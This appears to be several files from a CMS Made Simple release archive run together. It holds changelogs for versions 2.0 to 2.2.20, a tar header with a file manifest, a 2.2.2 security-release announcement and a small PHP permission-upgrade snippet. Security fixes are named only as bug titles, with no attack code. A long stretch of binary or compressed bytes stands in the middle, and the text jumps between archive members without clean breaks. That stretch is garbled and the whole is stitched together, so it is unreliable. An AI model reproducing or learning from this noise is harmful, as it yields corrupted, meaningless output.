AdminSearch v1.0.1
  - Minor fix to permissions checks.

Navigator v1.0.3
  - Improved exception handling on install

News v2.50.5
  - Fix error condition if no results were returned.

Installation Assistant v1.0.3.1
  - Tweaks to README files.
  - Improved error handling in some circumstances.
  - Fix some PHP7 issues.

FileManager
  - #10871 - Filemanager moving folder


Version 2.1.2 - Andros Town
----------------------------------
Core - General
- Minor fix to missing language string stuff
- Fixes to home page preferences
- API documentation fixes (minor)
- Fixes for ajax_content (the Ajax routine behind the parent selector in edit content) to handle ordering inconsistencies
- Remove die statement in is_email
- Minor fix to the relative_time modifier
- Upgrade CMSMailer to 6.2.14
- Now do a check for E_ALL in the system info

News v2.50.4
- Now all field definitions can be deleted
- Minor fix to default action if no results were returned...

ModuleManager v2.0.2
- Revamp module dependency calculations when installing a module
- Minor fix for some notices in install and upgrade modules
- Minor typo fixes
- Minor fixes for PHP7

MenuManager  v1.50.2
- make sure that uninstall cleans up properly

MicroTiny v2.0.3
- minor template fix
- fixes for stylesheet overrides


Version 2.1.1 - Nicholls Town
----------------------------------
Core - General
- Fix the template compiler so that content blocks can be placed within sub templates and detected with the {include} tag
- Fix minor problem with checksum verification
- Fix to the cms_cache_handler class
- Minor fix to SetAllPageHierarchies()
- Correct location where session was started in frontend displays
- Fix the default option for {content_image}
- Modify the locker to use a beacon if supported, when unlocking
- Fix missing permissions when a 1.12 site was upgraded (installation assistant)

CMSContentmanager v1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear content locks (Admins can clear all locks, regular users can only clear their locks)
- Enhancements to the action to bulk set designs to show only page templates by default, but to optionally show more

DesignManager v1.1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear template and CSS locks (Admins can clear all locks, regular users can only clear their locks)


Version 2.1 - Bahamas
----------------------------------
Core - General
- Minor performance tweaks to sample htaccess.txt
- Minor fix to the ProcessTemplateFromDatabase module API method.
- Improvements and re-factor the way headers are sent wrt caching
- Add a new method to the ModuleOperations class to allow a module to be within a namespace.
- Enhances the Group class.
- Enhancements and fixes to the cms_url class.
- Modified the $mod->smarty reference to be smarter... it is now deprecated.
- Fixes issue with https requests (#10697)
- Modifies The CmsLayoutTemplate class and CmsLayoutTemplateQuery to allow filtering on listable or non listable
  or setting a template as listable (default) or non listable
- Fixes a problem with styling of the login form if tasks must be run AND a module needs upgrading.
- Fixes to the cloning of templates in CmsLayoutTemplate
- Fixes problem with SetAllHierarchyPositions that cleared the entire cache instead of only the necessary part of it.
- Adds the unloadCancel handler to the lockManager jQuery plugin.
- Moves version.php and include.php inside the lib directory so that they are easier to protect from unwanted direct access.
- Fixes to page alias tests when manually entering a page alias.
- Missing language strings are no longer output to Admin log, but to the debug log.
- Requests for modules that are not installed/enabled, or for invalid actions will now result in 404 errors.
- Fixed problem where restricted content editors could implicitly change the page alias.
- Improvements to the system information page, particularly the bbcode output.
- cms_init_editor, form_start, and cms_action_url plugins are no longer cachable.
- Adds the 'adminonly' option to the {content}, {content_image}, and {content_module} tags to allow only members of the 'Admin' group to manipulate the values of that block.
- Add a trivial check to the sitedown message to make sure that it is not empty.
- Minor fixes for PHP 7

MicroTiny v2.0.2
- Now add page hierarchy to autocomplete text when using the linker.
- Now use $smarty->CreateTemplate for clarity when compling the config template
- Now explicitly assign urls so that they do not get caced by smarty.
- Slightly tweak the default HTML content in the example tab.
- Updated tinymce to the latest 4.2.7 version, included the 'paste' plugin, and turned on 'paste_as_text'.
- Added the ability to enable the table plugin, now distribute the table plugin

CMSContentManager v1.0.2
- Fix problem with pagedefault metadata.
- Fixes for handling no listable templates for a design
- More work with locking.  With only one exception all locking and unlocking is initiated via javascript.
- Minor fix to copycontent

DesignManager v1.1
- Adds ability to toggle the listability of a template.
- Fixes problems with lost changes if there is a syntax error in the template.
- More work with locking.  With only one exception all locking and unlocking is initiated via JavaScript.

News v2.50.3
- Fixes minor issue with pagination in News Admin console.
- Fix errors in the default form template.
- Fixed URL to long issues on redirection after adding/editing article.

Search v1.50.2
- Minor PHP7 fixes.

ModuleManager 2.0.1
- Minor fix to which modules could be uninstalled and deactivated.


Version 2.0.1.1 - Adelaide
----------------------------------
Fix to the $this->smarty magic method in the module class to resolve to the action template or the global Smarty.


Version 2.0.1 - Adelaide
----------------------------------
Core - General
- Improved optimization in ContentOperations::SetAllHierarchyPositions.
- Fixed return type of ContentOperations::GetPageIdFromAlias().
- Help for the {cms_html_options} plugin.
- Change the default page template to use {Navigator}.
- Explicitly force $smarty->fetch() to create a new template, and therefore a new scope. Keep track of scopes in a stack.
- Change prototype to CMSModule::DoActionBase to pass in the current template object.
- SITENAME is now assigned as a Smarty global.
  (fixes some variable scope issues)
- Fix problem with changing content types.
- Fix problem with CmsLayoutTemplateQuery wrt the editable option, that generated an SQL error.
  (resolves problems where people have additional editor access to templates, but no other design manager permissions).
- Fix minor JavaScript errors in plugin (error checking).
- Fix problems where If assign was passed to a {content} tag, do not pass it to the module on a mact request.
- Implements the completely forgotten 403 exception stuff and the IsPermitted content method.
- Improve the cmsms_dirtyform jQuery plugin to support the unload handler and an onUnload callback.
- Fixed the jQuery page selector plugin when the current value points to an invalid page,  and fixes for asynchronous Ajax.
- Adds a globally available cms_busy() JavaScript function for the Admin.
- Fix problem with html entitites in email addresses in user settings.
- Fix problem with {content cssname=string} and quotes.
- Changed cmsms plugins to use $smarty->getTemplateVars() instead of $smarty->get_template_vars() because of scope issues.
- Minor fix to {form_start} when not used in a module.
- Improved error handling for cms_stylesheet.  Now will generate a message in the Admin log, and an html comment on error.

CMSContentManager v1.0.1
- Fixes for changing content types.
- Adds a title for some contextual help if a template is not available for a content item.
- Clear any locks if an exception occurred while submitting a content item.
- Improvements to error handling with apply and preview.
- Content list now refreshes every 30 seconds to display up-to-date lock information.

DesignManager v1.0.1
- Clear the type_default flag when copying a template.
- Clear any locks if an exception occurred while submitting a template.
- Clear any locks if an exception occurred while submitting a stylesheet.
- Template and stylesheet lists now refresh every 30 seconds to display up-to-date lock information.
- Fixes for design exporting templates with protocol-less URLs in them.

MenuManager v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

Navigator v1.0.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Minor change to the help ($node->children_exist)

Search v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

News v2.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Fix problem with custom fields not being assigned in fesubmit.
- Fix minor problem with html entities in the detail template parameter.

FileManager v1.5.1
- Fix minor problem with Smarty scope in the drop zone.


Version 2.0 - Australia
----------------------------------
+++ Initial Release +++
MANIFEST.DAT                                                                                        0000666                 00000003672 14531373721 0006326 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       MANIFEST GENERATED: 1701181392
MANIFEST FROM VERSION: 2.2.18
MANIFEST FROM NAME: Apex
MANIFEST TO VERSION: 2.2.19
MANIFEST TO NAME: Selkirk
CHANGED :: a0bc9ded381ec44baf4b46dfad11d093 :: admin\ajax_content.php
CHANGED :: 60c75aa82209bd6551cf231b5c7a75b4 :: admin\plugins\function.page_selector.php
CHANGED :: 72051f94fb96ffec06b5183115e4842b :: doc\CHANGELOG.txt
CHANGED :: fa6d90edc84b40b08deb73099afa4322 :: index.php
CHANGED :: cbdb49127029829b58dcc5bb0a7756fd :: lib\classes\class.CmsApp.php
CHANGED :: 165790be607b8194a1d11702ceea886b :: lib\classes\class.CmsLayoutTemplate.php
CHANGED :: d3eb3d8bd62581c0440196d9c4c3066a :: lib\classes\class.cms_config.php
CHANGED :: 6a1611748af4d21a98702379bd77996b :: lib\html_entity_decode_php4.php
CHANGED :: 66c15800557bc50aafe914311c883039 :: lib\include.php
CHANGED :: 4d75c4f765998bfebc26f3a713967dd3 :: lib\jquery\js\jquery.cmsms_hierselector.js
CHANGED :: 4efa950ec4122380e8e3f01e8dec15a8 :: lib\page.functions.php
CHANGED :: 4bc63498f99102374d0d626ef87d1c9c :: lib\version.php
CHANGED :: 944ad2fd8f6f7f301eb5af3803ae5982 :: modules\CMSContentManager\action.admin_editcontent.php
CHANGED :: 9c35145e22e1a12b65a0ae6377557b0c :: modules\CMSContentManager\CMSContentManager.module.php
CHANGED :: cccce3db760f901e581a46f1502ae68a :: modules\CMSContentManager\lang\en_US.php
CHANGED :: 1ddad7f45f01493391bcc6bc59f1f7dd :: modules\CMSContentManager\templates\admin_editcontent.tpl
CHANGED :: 86a60f85dabe03aa765b6c576ec7ede7 :: modules\FileManager\FileManager.module.php
CHANGED :: daeb4dc8bdaadca8afecc32183d19167 :: modules\FileManager\lib\class.jquery_upload_handler.php
CHANGED :: b02cb48e6ce8637c6382a47a2f716804 :: modules\FilePicker\FilePicker.module.php
CHANGED :: 5aa72c126dfdbd6c6de6771e9715e358 :: modules\FilePicker\lib\class.jquery_upload_handler.php
CHANGED :: b197448bcddaf3c9deace9b88e250505 :: modules\Navigator\action.default.php
CHANGED :: af6816894f11cfa5ccb80c73720f6629 :: modules\Navigator\Navigator.module.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Version 2.2.2 - Hearts Content
----------------------------------
Core - General
 - Additional security improvement in CMSModule::GetTemplateResource().
 - Now Smarty_CMS is no longer derived from SmartyBC (uses our own wrapper class) which prevents all occurrences of {php} tags from running.
 - Adds an admin directory .htaccess file to explicitly disable browser caching of any resources.
 - Fixes a relative path vulnerability in module_file_tpl resource.
 - Fixes a path building issue in CmsModuleInfo.
 - Fixes to parsing and generating moduleinfo.ini files.
 - Disallow any resource specifications with a * or a /.
     * This also means that no file resource specifications with path information will be permitted.
 - Move mact preprocessing to AFTER the template_top has been processed.  So order of processing (for module actions on the frontend is)
     a:  template top
     b:  mact preprocessing (if enabled, which is the default)
     c:  template body
     d:  template head
 - Fix sureGetNodeByAlias to check if the input is numeric. If it is, assume that it is a page id, not an alias.
 - Fix alias generation in the ContentBase class to check if the input page title is numeric... If it is, prepend a character to it to ensure that integer casting will return 0.
 - Fix listtags to show tags using smarty_nocache_  function name prefix.
 - Improvements to the {form_start} plugin.
 - Fix silly, old issue in recursive_delete function.
 - Clean up more parameters from the content tag before passing to module action.
 - Fix local file inclusion vulnerability in listtags.
 - now call get_userid() in debug_to_log instead of check_login()

AdminSearch v1.0.3
 - Now search the metadata field of content pages.
 - Fixes for single quotes in search results.

DesignManager v1.1.3
 - Set title attribute tags for edit/create template, stylesheet, design.
 - Remove debug statements.

MicroTiny v2.2
 - Upgrade tinymce to v4.6.x.
 - Adds new tabfocus and hr plugins.

News v2.51.2
 - Fixes so that all cancel buttons work properly on new news articles.

Navigator v1.0.7
 - Adds a silly __get() method to the NavigatorNode class squash some notifications in the error logs.

ModuleManager v2.1.1
 - Now handlle remote module installs upgrades, and activates via a 2 request process to allow new module versions to be read into memory.

Installation Assistant v1.3.2
 - Correction to assets warning

Search v1.51.2
 - Now do an html entity decode on all content added to AddWords.
     [[wSG~_8K J 3@5/ZUն,yI2	׶NؙٲR]z^>~go>xճ׏>{jR߽>{Oyv/}o:}wo|Yug?>|̓`$[cpRB*b1ܳsw]lJw^.ey\xZ_vx}!ruu\j'[^al+jư3Ak1֢KpYlGW\mnlΧbX-|F蒢
u8nb=	ʼ^Zs:zF[mbQcMTlfds}JxTLqeM$v&V^$KqIWۨdGV=ZBK]ƚ~^Hڜ!|ήJX$4ږ_m92}ݯldӵ`@PkAC'ng}%NvޡhMIn#@!:zX4I7&HL A9LMjSGqHa?{зx)n}4/k|{H8)aS)$WM#IXѩ%-DH3wt
&QVwr`٥4jc##N]4T%Q6fF϶KSќ9dRPPO})?CzvZa-7G.$mga`k_$}'@%<B@s=ݮoUQV^b-$qXK5dONE3!ZpФ츫x0^os$	)e2x>R
J\|6FAD6!o1Vf7	iAXV-3}NNf&r	% _m#<1
{XMS1Q*Vdk	-Tö@	Ujڑ(I{sdLqMiB`œk)`G߻ |dDʜE"id+G9wŏ?L{ң)al*"yNI!	5!q"]f4ݑeSW1($C"͊^<yj3eCķp%q>w8cixxZvJ(<xΦMFPL ߰-1~?Wojs3Qݱysmof=<<GQxg|Vn{xӓŚcJIjt /ˆVO	뱊	Tbj,Q+`;Ruq]nANW`5)
6Rb@!8OWS{xQBH
1hci*!q39DvrD* )/5~./F*Hf1V|jHl0&UpJ	*Y<ݎWj]ظnd6KCF7-x)~2XrRvHR5@/ij^uH,38caJZ	 ;OQ3ۜLsD{]-E;oGB&ʠ+1UC1PݻIwwhƶ![V
{C׫Ipe l`<FS*jS3	/@䈽Nϲ}3	j/CRq n 0ՄŊ̓F5@:j5ZyhD	],y_t[%[x`	6zk"w	jWq$`Rg/ Nlv2kӲRh$4S9BRӂXo=ă͝\n9w+xMGY5?NK|m	zq9yP,5'3w[6,bO_']vYh@<NVkhY<%#\&>狷OƀխAd/eAV6:vO^Ⱟk=jf)fד
9_bI1Y)!3Zr9d+rD続@0;'LZ.64zF6f6}Bm%ǒ^3ڒb o[T${B}͋aZd	ZaZCfb`gYO;glSI])B|5BP Ҭ(n+K5  (͍ǐNfbٷal,kGgZBA̠r`nI	blte,#1)KҔmArjaT?XZCgip$me(AZNY~3W`/PCƑ6[";\"p\BAaL B2f*;!Edt~`s3JpAwVDlY-~TAW(XԨg|Se\M'|/4%+׼xtqs3o
P&TIYh)wk 3ǵqBO!QW2@	7n
1|Z'0vW'm%Ml!;RQP+فI,œGO![j 9Cb⇓H"&!g~8yiI!RBKȶ=,-ӲV8g!g(0SA[YP[x3 
*wk$83%ɶ+z*ky6cNx锧RwDlq6jE-=5+H) Lry&jj*goiTl\gUnZ=C xm@`U5V7kCWe`! ,J+S.D1<8xpT9B0{o^גa2)lz	5w5^0P&w2Ҡ̣G@ES]6xӠ3wW{\^?XfݗgSɧP_K-R0(b}qba	bVAҸ0Ȥ=FV=<,}[\݃ZCa6%y<~77π	9:qQ=7'jz`V
Qew엛Occm]wA+oh-Ī5ѱxsC%b~Cֺ); z<vy~vMjI*4]ek[i_
\EV>mː2
@(S-/iMg=^b!y1cӬֆ@Y?ha; .g)3v7IkTUtccɓS?SD=-&n}h[k X露+vqv:=)b}-z$.m<ʓ34G(ִ:n9=tNw%{VMDWRɡp1"0,v') 7<'l)U#N2HOh٫	RֳV341/ٔޜ&x[-ō?'U\ZmE6nP0a!c3{J(
f,5VY{vkq]\헧VA-Tn8 M/ޟ ?BV<+-^NS% $1'w^7ۻW,NRhcO!#Wiw-W^-l4A| rIB^v2SKJ4N@Mѱ9K2
]XjoL.v}s0C`=PUw|Q2$S*@%tZzԾ^`iED*|p!rȽ$Rb~xR1)eFPآǣ{3]bq!ENо'8<OaerXЛKMZNX?8NO6np	}y';)`B2IT9sh,IdAqGMIX\ƍ@V5!ִgzl/u}z|khЭ\w(EkPo/~f7#nLm]LKNKZRo/߼lCX 3zَ50; NtoAn״[/}sp>4a]8^nsSچ0,#80Zj#'ƗB1(Z@%xsH@-X$sXa~>0SCZͥLV6M'G貹D9r8F%Y:Nrkew rt3fZ#9HX".y@٩(Fgud5hdLJzSm#nǟO/p]vh/JJrc:A^GTn?rZ!Ud;AMC`*DqǶӧ8)Qh|Q 5(']9~
]#8d-(ê1<(%lx9a.
[(#/*jĵ1`_S&(:6'y| !\;t)Ӱ:qQkEwm=mP_İ0 "/Bcf<H7*(zN
)8'[wʸ$;Xfxޖ*1/T$>N28Ce8	tw0,P[0,WXZsw    sqA  Continuing with our commitment to quality code, we are announcing the release of 2.2.2 "Hearts Content", a security and stability release.

This release fixes or blocks a couple of very important security issues, addresses a number of bugs that existed in the system, and generally improves stability and usability.

Some important things to note are:
a:  The security issues addressed effect all previous versions of CMS Made Simple, not just the 2.x series.

b:  Due to the security fixes, Smarty resource specifications with paths or wildcard characters will no longer work.   This will affect a few third party modules--notably JMFilePicker.   The maintainers of affected modules should be able to address this issue without too much difficulty.   Additionally, any and all occurrences of {php} tags that may have been able to function in old versions of CMSMS should now fail.

c: We have once again changed the template processing order, specifically related to mact preprocessing.   Now, mact-preprocessing occurs AFTER the top portion of the template, but before the body portion.  This specifically addresses issues with multi-lang sites.  As of now, the template processing order is:
        1.  The top portion of the page template
        2. mact-preprocesing (if enabled) caches a module action intended for the {content} block
        3.  The body portion of the page template
        4.  The head portion of the page template.

d: fixes to cms_selflink, to content pages and to various API functions such that entirely numeric page aliases are invalid.  This is to prevent them from being confused with numeric page ids.
When adding or editing a page, if the resulting page alias is entirely numeric (i.e: 12345 or 123-123) then a non-numeric character ('p') will be prepended to the alias.    aliases such as 123-foo are not entirely numeric and therefore are valid.

e: Upgraded MicroTiny to use TinyMce 4.6.x and added the tabfocus and hr plugins.

As usual, a complete list of the items fixed and changed are available in the changelog that is displayed during the upgrade process and included with the release.

Because this is a security release as well as a stability release we encourage everybody to upgrade their websites as soon as possible.

Again we would like to thank  Daniel Le Gall from SCRT SA, Switzerland for identifying these vulnerabilities, reporting them to us in a professional manner, and working with us to ensure that they were resolved.

The CMSMS Dev Team now only officially supports CMSMS 2.2.2 and CMSMS 2.2.1.  Therefore, it is to your advantage to upgrade as soon as possible.

Thank you, and have fun with CMSMS.
<?php
$sql = 'SELECT permission_id FROM '.CMS_DB_PREFIX.'permissions WHERE permission_name = ?';
$tmp = (int) $db->GetOne($sql,[ 'Manage Users'] );
if( $tmp < 1 ) {
    status_msg('Create missing "Manage Users" Permission');
    $new_id = (int) $db->GenID(CMS_DB_PREFIX.'permissions_seq');
    $sql = 'INSERT INTO '.CMS_DB_PREFIX.'permissions (permission_id,permission_name,permission_text,permission_source,create_date,modified_date)
            VALUES (?,?,?,?,NOW(),NOW())';
    $db->Execute( $sql, [ $new_id, 'Manage Users', 'Manage Users', 'Core'] );
}
Version 2.2.20 - Saguenay
-------------------------------

Core - General
 - Compatibility fixes for PHP 8.2 and 8.3;
 - Smarty upgraded to version 4.5.2 (latest of the stable 4.5.x branch);
 - Made some changes to keep backward compatibility with previous versions of Smarty;
 - Fixed BR #12683: we now truncate the item_name at 50 characters;
 - Moved php files with functions to a specific folder tidying up for further changes;
 - Deprecated cms_html_entity_decode: scheduled to be removed; PHP native html_entity_decode now supports UTF-8 properly;
 - Fixed BRs #12677 and #12703: UDTs errors are now handled more gracefully - the error being triggered is shown on the popup;
 - News module is no longer mandatory;
 - New module added to core (UserGuide);
 - Installer now supports optional modules (News and UserGuide);
 - MenuManager is no longer installed back on upgrades;
 
Content Manager 1.1.13
 - Fixed a typo in admin_editcontent.tpl;
 
CmsJobManager 1.0.0
 - Considered a stable release, version is now 1.0.0;
 - Compatibility fixes for PHP 8.2 and 8.3;
 
DesignManager 1.1.11
 - Compatibility fixes for PHP 8.2 and 8.3;
 
FilePicker 1.0.8
 - BR #12671 - fix FilePicker prefix error;
  
MicroTiny 1.6.5
 - Compatibility fixes for PHP 8.2 and 8.3;
 - Removed mt_jsbool as it is not needed any longer and was breaking Smarty compatibility; 
 
Navigator 1.0.11
 - Compatibility fixes for PHP 8.2 and 8.3;

News 2.51.13
 - Compatibility fixes for PHP 8.2 and 8.3;
 - News is now an optional module, no longer installed by default;
 
UserGuide 1.0.0
 - Initial release;
 
Phar Installer Not SET
 - Compatibility fixes for PHP 8.2 and 8.3;
 - Supports core optional modules selection on advanced mode (currently News and UserGuide);
 - Modified Smarty 4.2.1 enough to work with PHP 8.3;
 - Regular Phar doesn't support Windows at this point while Expanded Phar does; 


Version 2.2.19 - Selkirk
-------------------------------

Core - General
 - BR #12647 - Wrong default action value in get_pageid_or_alias_from_url;
 - FR #12638 - ability to add CSP headers on the backend: currently weak restrictions: self with script-src and script-src-elem set to unsafe-inline (optionally set on config admin_csp_header);
 - BR #12661 - fix page_selector allow_all parameter and set default to false;
 
Content Manager 1.1.12
 - BR #12635 - Apply button is shown for non-existing page;
 - BR #12474 Taking the default page down by accident through the content type;

File Manager 1.6.16
 - BR #12659 - FileManager upload Warning bug fix;

FilePicker 1.0.7
 - BR #12621 - FilePicker upload bug;
 - BR #12659 - FilePicker upload Warning bug fix;

Navigator 1.0.10
 - BR #12528 Navigator call doesn't clear excluded prefixes in some situations

Version 2.2.18 - Apex
-------------------------------
Core - General
 - Fallback function CMSMS\strftime. PHP Intl extension still recommended. The fallback solves issues on hosts that don't install it by default and don't allow users to install it.

Version 2.2.17 - Iqaluit
-------------------------------
Core - General
 - BR #12529 - Cacheable Pages have Bad Header Last-Modified;
 - BR #12543 - Lib file corrections;
 - BR #12618 - HasChildren() is broken;
 - BR #12587 - can't uninstall modules;
 - Compatibility fixes for PHP 7, 8.0 and 8.1;
 - Smarty upgraded to version 4.2.1;
    Note: Smarty 2 syntax is still supported, but deprecated
 - Add function CMSMS\strftime to replace deprecated PHP function. PHP Intl extension recommended to support this.
 - Enabled use of PHP functions trim,ltrim,rtrim in smarty templates
 - PHPMailer upgraded to version 6.6.0.
 - fixes BR #12529 Cacheable Pages have Bad Header Last-Modified;
 - added module's support for arrays in parameters;
 - Fixes to cms_mailer class mainly in terms of proxy design pattern getters and setters and autotls settings;
 - Smarty security policies changes: due to some modifications in the way updated Smarty now behaves, all static classes need to be registered for its use to be allowed in templates.

Content Manager 1.1.10
 - Differentiate new page from cloned page.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

Design Manager 1.1.10
 - BR #12545 - Module: DesignManager typo info on top file.
 - fixes typo BR #12545
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

FilePicker 1.0.6
 - BR #12539 - Module FilePicker 1.0.5 files corrections.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

Module Manager 2.1.9
 - BR #12541 - Module ModuleManager 2.1.8 : corrections + compatible php 7.1.0 to 8.1.4.

News 2.51.12
 - BR #12543 - Lib file corrections.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

FileManager 1.6.13
- Compatibility fixes for PHP 7, 8.0 and 8.1.


Version 2.2.16 - Truro
-------------------------------
Core - General
  - BR #12370 - Admin Log-Download : now downloading the log honors all filters but doesn't process paging.
  - BR #12437 - Installer won't allow "<" symbol in database password.
  - BR #12457 - Event Manager empty list when mysql mode only_full_group_by.
  - BR #12484 - Cannot exit after Run UDT.
  - BR #12495 - MySQL 8.0.2+ breaks groups without table prefix.
  - BR #12499 - adminlog.tpl Wrongly formed date.
  - BR #12500 - NameQuote function does not work properly.
  - BR #12504 - Function call notification.
  - Fixed an issue with specific characters in a content block tab name breaking the editor.
  - Adjust regex's incompatible with PCRE2.
  - Avoid deprecated strftime() - deploy new replacement function locale_ftime() and new modifier-plugin localedate_format.
  - A number of fixes for PHP 8 compatibility.

Admin Search v1.0.6
  - BR #12443 - Admin Search fails on some searches with default mysql mode only_full_group_by (mysql 5.7.5+).
  - Removed license and copyright notices from module help text.
  - Escaping the search input field values.
  - More content object attributes are searched.
  - User Defined Tags can be searched.
  - Only places a user has permission to search are shown in the filter list (cached!).

Content Manager v1.1.9
  - Fix menu text/title setting.

FileManager v1.6.12
  - BR #12435 - Replacing an image file in filepicker doesn't update thumbnail.

FilePicker v1.0.5
  - FR #12483 - Additional FilePicker Help for usage as Content Block.

Navigator v1.0.9
  - BR #12456 - Navigator breadcrumbs with default page hidden from menu causes PHP notice.

Search v1.53
  - Added 'Manage Search' permission.
  - BR #12391 - Core search issue page/entry titles that start with numbers.
  
Phar Installer v1.3.15
  - Fixed BR #12437 - Installer won't allow "<" symbol in database password.
  - Added Russian lang file to installer.
  - use locale_ftime() instead of deprecated strftime().
  - escape name of groups table, to prevent reserved-word conflict when table-prefix is empty.
  - alterations to the links in final step: we now privilege links to CMSMS channels of contact and support.


Version 2.2.15 - Bonaventure
-------------------------------
Core - General
  - BR #12287 - Admin shortcuts popup refers to IRC.
  - BR #12292 - showbase parameter of metadata tag doesn't accept boolean value.
  - BR #12303 - No date displayed in the admin + category id not incremented.
  - BR #12305 - Removing actual Destination Page breaks Destination Page dropdown in Internal Page Link pages.
  - BR #12311 - log_performance_info - undefined variable: queries.
  - BR #12313 - 5 Stored XSS vulnerabilities in Settings - Content Manager.
  - BR #12317 - XSS on Settings News Module.
  - BR #12325 - Several XSS vulnerabilities.
  - BR #12335 - User pref admin homepage not properly displayed under certain conditions.
  - BR #12337 - GetContentBlockFieldInput $adding always false.
  - BR #12338 - Allow http/2 responses.
  - BR #12357 - Filepicker dropzone size issue.
  - FR #12345 - More user friendly admin session handling (partly implemented).
  - FR #12349 - Swap tabs on System Maintenance page.
  - Browsing to the main admin page in a new browser tab during a running session won't redirect to login form anymore.
  - (Error) messages in OneEleven won't dismiss on click.
  - Fix to Admin redirection after login on Windows platform.
  - Fix to the module API redirection to support arrays in parameters.

FileManager v1.6.12
  - Dropzone improvement like core FilePicker.

FilePicker v1.0.5
  - BR #11673 - FilePicker will not show svg images, when in the Content Manager.
  - BR #12312 - Stored XSS vulnerability in File Picker.

News v2.51.11
  - Minor code fix to encoding title content.
  - BR #12322 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12325 - Several XSS vulnerabilities.

Design Manager v1.1.9
  - Minor fixes for PHP warnings\notices.

Module Manager v2.1.8
  - BR #12291 - Reflected Cross site scripting.
  - BR #12324 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - Increased the Download Chunk Size field size to 4.

MicroTiny v2.2.5
  - BR #12351 - Escaping translation strings in tinymce_config.js.

Search v1.52
  - FR #11886 - Include module and modulerecord fields for content pages.

Phar Installer v1.3.13
  - Fixes to the reload button: now prevents browser's caching.
  - BR #11591 - fixed: Phar installer doesn't work with OPCache enabled.


Version 2.2.14 - T'Sou-ke
-------------------------------
Core - General
  - BR #12280 - Add Shortcut from Shortcuts modal broken.
  - Fixes to the class.CmsAdminThemeBase.php regarding main sections title and breadcrumbs generation.
  - Explicitly add function_exists and getimagesize functions to the allowed functions in PHP secure mode.
  - Improved Error Console template.
  - Site Prefs, remove submit confirmation.
  - System Maintenance, remove confirmation update page hierarchy positions and routes.
  - cms_http_request PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - Backend users, fixed the bulk actions.
  - BR #12172 - CronJobTrait undefined constants.
  - BR #12227 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12272 - Internal page link - selecting destination page problem.

AdminSearch v1.0.5
  - Remove click thru warning.

CMSContentManager v1.1.9
  - Fix notices in edit content template.
  - Fix notice in default admin view.

DesignManager v1.1.8
  - BR #12225 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

FileManager v1.6.11
  - Don’t disable advanced mode on upgrade.
  - Fix adding double // in site root link.
  - BR #12215 - FileManager 1.6.10 crashes when trying to rename a file.
  - BR #12224 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

News v2.51.9
  - Minor code fix.
  - Alert on unapproved articles disabled by default. Enable at Settings >> Options tab.
  - BR #12207 - Can't display image in news when using upload field.
  - BR #12228 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

Phar Installer v1.3.9
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - PHP 7.4 fix "Function get_magic_quotes_runtime() is deprecated".

Search v1.51.8
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".


Version 2.2.13 - Moosomin
-------------------------------
Core - General
   - Explicitly add a function or two to the allowed functions in PHP secure mode.

DesignManager v1.1.7
   - Fix a warning in PHP 7.3+.

FileManager v1.6.10
   - Fix minor XSS vulnerabilities in FileManager.

News v2.51.8
   - Fix a security issue in the default action with the idlist param.
   (This version was also separately released in the forge).


Version 2.2.12 - Osoyoos
-------------------------------
NOTICE: Due to the nature of the security issue fixed in FileManager after upgrading you should change your database password.

Core - General
  - Fix warning in cms_html_entity_decode.

FileManager v1.6.9.1
  - Security fixes for view action.


Version 2.2.11 - Vulcan
-------------------------------
Core - General
  - Fix minor bug in copying content objects.
  - Minor fix to array indexes when filling params in ContentBase.
  - Fix to the {cms_filepicker} plugin.
  - Minor fix to the 'my account' form.
  - Fix error in cmsms_filepicker.js encountered in LISE.
  - PHP 7.3 fix to DataDictionary::RenameColumnSQL.

CMSContentManager v1.1.8
  - Fix an issue with copying non-core content objects.
  - Minor fixes for php 7.3.

ModuleManager v2.1.7
  - Minor exception handling improvements.
  - Minor improvement to dependency detection with modules that do not exist in ModuleRepository.
  - Minor fixes for php 7.3.

News v2.51.6
  - Minor improvements for CMSMS v2.3 compatibility.

Phar Installer v1.3.8
  - Minor change to use include() instead of include_once()... not sure why.

FilePicker v1.0.4.1
  - Fix type error.

Search v1.51.7
  - Minor fixes for php 7.3.


Version 2.2.10 - Spuzzum
-------------------------------
Core - General
  - Fix minor potential authenticated object insertion vulnerability in changegroupperm.
  - Fix minor potential uncleaned input vulnerability in siteprefs.
  - Minor improvement to get_real_ip().
  - Fix to clearing cache in cms_filecache_driver.

News v2.51.5
  - Fix unauthenticated SQL injection vulnerability with the default action.

ModuleManager v2.1.6
  - Fix authenticated object insertion vulnerability in the installmodule action.
  - Improve ordering of the dependencies before installing or upgrading modules.
  - Adds more auditing, particularly in the cached request stuff.

FilePicker v1.0.4
  - Fix authenticated object insertion vulnerability.


Version 2.2.9.1
-------------------------------
Core - General
  - fix to the CmsLayoutStylesheetQuery class.
  - fix an edge case in the Database\Connection::DbTimeStamp() method.

MicroTiny v2.2.4
  - Minor fix in error displays.

Phar Installer v1.3.7
  - Fix to edge case in step 3 where memory_limit is set to -1.


Version 2.2.9 - Blow Me Down
-------------------------------
Core - General
  - PHP 7.2+ fixes.
  - Now do not call Module::InitializeAdmin() or Module::InitializeFrontend() if the module loading is being forced
    (as is the case sometimes within ModuleManager);
